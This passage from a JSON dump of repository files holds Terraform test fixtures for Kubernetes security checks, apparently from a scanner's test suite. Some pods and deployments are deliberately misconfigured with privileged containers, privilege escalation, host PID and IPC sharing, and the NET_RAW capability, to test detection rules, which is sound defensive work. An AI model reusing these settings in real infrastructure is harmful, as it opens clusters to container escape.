    "content": "resource \"kubernetes_pod\" \"examplePod\" {\n  metadata {\n    name      = \"terraform-example\"\n    namespace = \"default\"\n    labels = {\n      test = \"MyExampleApp\"\n    }\n  }\n\n  spec {\n    automount_service_account_token = true\n    security_context{\n    }\n    selector {\n      match_labels = {\n        test = \"MyExampleApp\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_pod_v1\" \"examplePod\" {\n  metadata {\n    name      = \"terraform-example\"\n    namespace = \"default\"\n    labels = {\n      test = \"MyExampleApp\"\n    }\n  }\n\n  spec {\n    automount_service_account_token = true\n    security_context{\n    }\n    selector {\n      match_labels = {\n        test = \"MyExampleApp\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_deployment\" \"examplePod\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        automount_service_account_token = true\n        security_context {\n        }\n        selector {\n          match_labels = {\n            test = \"MyExampleApp\"\n          }\n        }\n      }\n    }\n  }\n}\n\nresource \"kubernetes_deployment_v1\" \"examplePod\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        automount_service_account_token = true\n        security_context {\n        }\n        selector {\n          match_labels = {\n            test = \"MyExampleApp\"\n          }\n        }\n      }\n    }\n  }\n}\n\n"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/example_ContainerSecurityContext/main.tf",
    "content": "resource \"kubernetes_pod\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example22\"\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example22222\"\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n\nresource \"kubernetes_pod_v1\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example22\"\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example22222\"\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n\nresource \"kubernetes_deployment\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example22\"\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example22222\"\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n\nresource \"kubernetes_deployment_v1\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example22\"\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example22222\"\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n\nresource \"kubernetes_pod\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    host_ipc = true\n    host_pid = true\n\n\n    container {\n      image             = \"nginx\"\n      image_pull_policy = \"Never\"\n      name              = \"example\"\n\n      security_context {\n        privileged                 = true\n        allow_privilege_escalation = true\n        capabilities {\n          add  = [\"NET_RAW\"]\n          drop = [\"NET_BIND_SERVICE\"]\n        }\n      }\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n        host_port      = 8080\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n\nresource \"kubernetes_pod_v1\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    host_ipc = true\n    host_pid = true\n\n\n    container {\n      image             = \"nginx\"\n      image_pull_policy = \"Never\"\n      name              = \"example\"\n\n      security_context {\n        privileged                 = true\n        allow_privilege_escalation = true\n        capabilities {\n          add  = [\"NET_RAW\"]\n          drop = [\"NET_BIND_SERVICE\"]\n        }\n      }\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n        host_port      = 8080\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n\nresource \"kubernetes_deployment\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        host_ipc = true\n        host_pid = true\n\n\n        container {\n          image             = \"nginx\"\n          image_pull_policy = \"Never\"\n          name              = \"example\"\n\n          security_context {\n            privileged                 = true\n            allow_privilege_escalation = true\n            capabilities {\n              add  = [\"NET_RAW\"]\n              drop = [\"NET_BIND_SERVICE\"]\n            }\n          }\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n            host_port      = 8080\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n\nresource \"kubernetes_deployment_v1\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        host_ipc = true\n        host_pid = true\n\n\n        container {\n          image             = \"nginx\"\n          image_pull_policy = \"Never\"\n          name              = \"example\"\n\n          security_context {\n            privileged                 = true\n            allow_privilege_escalation = true\n            capabilities {\n              add  = [\"NET_RAW\"]\n              drop = [\"NET_BIND_SERVICE\"]\n            }\n          }\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n            host_port      = 8080\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/example_DangerousGitSync/main.tf",
    "content": "resource \"kubernetes_pod\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_pod_v1\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_deployment\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_deployment_v1\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_pod\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n      env {\n        name  = \"GITSYNC_GIT\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_pod_v1\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n      env {\n        name  = \"GITSYNC_GIT\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n\nresource \"kubernetes_deployment\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n          env {\n            name  = \"GITSYNC_GIT\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_deployment_v1\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n          env {\n            name  = \"GITSYNC_GIT\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/example_DefaultNamespace/main.tf",
    "content": "\n#not set\nresource \"kubernetes_pod\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    host_ipc = true\n    host_pid = true\n\n\n    container {\n      image             = \"nginx\"\n      image_pull_policy = \"Never\"\n      name              = \"example\"\n\n      security_context {\n        privileged = true\n        allow_privilege_escalation = true\n      }\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_pod_v1\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    host_ipc = true\n    host_pid = true\n\n\n    container {\n      image             = \"nginx\"\n      image_pull_policy = \"Never\"\n      name              = \"example\"\n\n      security_context {\n        privileged = true\n        allow_privilege_escalation = true\n      }\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n#set default\nresource \"kubernetes_pod\" \"fail2\" {\n  metadata {\n    name = \"terraform-example\"\n    namespace = \"default\"\n  }\n\n  spec {\n    host_ipc = true\n    host_pid = true\n\n\n    container {\n      image             = \"nginx\"\n      image_pull_policy = \"Never\"\n      name              = \"example\"\n\n      security_context {\n        privileged = true\n        allow_privilege_escalation = true\n      }\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_pod_v1\" \"fail2\" {\n  metadata {\n    name = \"terraform-example\"\n    namespace = \"default\"\n  }\n\n  spec {\n    host_ipc = true\n    host_pid = true\n\n\n    container {\n      image             = \"nginx\"\n      image_pull_policy = \"Never\"\n      name              = \"example\"\n\n      security_context {\n        privileged = true\n        allow_privilege_escalation = true\n      }\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_pod\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n    namespace = \"brian\"\n  }\n\n  spec {\n    host_ipc = true\n    host_pid = true\n\n\n    container {\n      image             = \"nginx\"\n      image_pull_policy = \"Never\"\n      name              = \"example\"\n\n      security_context {\n        privileged = true\n        allow_privilege_escalation = true\n      }\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_pod_v1\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n    namespace = \"brian\"\n  }\n\n  spec {\n    host_ipc = true\n    host_pid = true\n\n\n    container {\n      image             = \"nginx\"\n      image_pull_policy = \"Never\"\n      name              = \"example\"\n\n      security_context {\n        privileged = true\n        allow_privilege_escalation = true\n      }\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_deployment\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"prometheus\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"prometheus\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"prometheus\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx:1.7.8\"\n          name  = \"example\"\n\n          resources {\n            limits = {\n              cpu    = \"0.5\"\n              memory = \"512Mi\"\n            }\n            requests = {\n              cpu    = \"250m\"\n              memory = \"50Mi\"\n            }\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n      }\n    }\n  }\n}\n\nresource \"kubernetes_deployment_v1\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"prometheus\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"prometheus\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"prometheus\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx:1.7.8\"\n          name  = \"example\"\n\n          resources {\n            limits = {\n              cpu    = \"0.5\"\n              memory = \"512Mi\"\n            }\n            requests = {\n              cpu    = \"250m\"\n              memory = \"50Mi\"\n            }\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n      }\n    }\n  }\n}\n\nresource \"kubernetes_deployment\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n    namespace = \"brian\"\n    labels = {\n      k8s-app = \"prometheus\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"prometheus\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"prometheus\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx:1.7.8\"\n          name  = \"example\"\n\n          resources {\n            limits = {\n              cpu    = \"0.5\"\n              memory = \"512Mi\"\n            }\n            requests = {\n              cpu    = \"250m\"\n              memory = \"50Mi\"\n            }\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n      }\n    }\n  }\n}\n\nresource \"kubernetes_deployment_v1\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n    namespace = \"brian\"\n    labels = {\n      k8s-app = \"prometheus\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"prometheus\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"prometheus\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx:1.7.8\"\n          name  = \"example\"\n\n          resources {\n            limits = {\n              cpu    = \"0.5\"\n              memory = \"512Mi\"\n            }\n            requests = {\n              cpu    = \"250m\"\n              memory = \"50Mi\"\n            }\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n      }\n    }\n  }\n}\n\nresource \"kubernetes_daemonset\" \"pass\" {\n  metadata {\n    name      = \"terraform-example\"\n    namespace = \"something\"\n    labels = {\n      test = \"MyExampleApp\"\n    }\n  }\n\n  spec {\n    selector {\n      match_labels = {\n        test = \"MyExampleApp\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          test = \"MyExampleApp\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx:1.7.8\"\n          name  = \"example\"\n\n          resources {\n            limits = {\n              cpu    = \"0.5\"\n              memory = \"512Mi\"\n            }\n            requests = {\n              cpu    = \"250m\"\n              memory = \"50Mi\"\n            }\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n\n        }\n      }\n    }\n  }\n}\n\nresource \"kubernetes_daemon_set_v1\" \"pass\" {\n  metadata {\n    name      = \"terraform-example\"\n    namespace = \"something\"\n    labels = {\n      test = \"MyExampleApp\"\n    }\n  }\n\n  spec {\n    selector {\n      match_labels = {\n        test = \"MyExampleApp\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          test = \"MyExampleApp\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx:1.7.8\"\n          name  = \"example\"\n\n          resources {\n            limits = {\n              cpu    = \"0.5\"\n              memory = \"512Mi\"\n            }\n            requests = {\n              cpu    = \"250m\"\n              memory = \"50Mi\"\n            }\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n\n        }\n      }\n    }\n  }\n}\n\nresource \"kubernetes_daemonset\" \"fail\" {\n  metadata {\n    name      = \"terraform-example\"\n    labels = {\n      test = \"MyExampleApp\"\n    }\n  }\n\n  spec {\n    selector {\n      match_labels = {\n        test = \"MyExampleApp\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          test = \"MyExampleApp\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx:1.7.8\"\n          name  = \"example\"\n\n          resources {\n            limits = {\n              cpu    = \"0.5\"\n              memory = \"512Mi\"\n            }\n            requests = {\n              cpu    = \"250m\"\n              memory = \"50Mi\"\n            }\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n\n        }\n      }\n    }\n  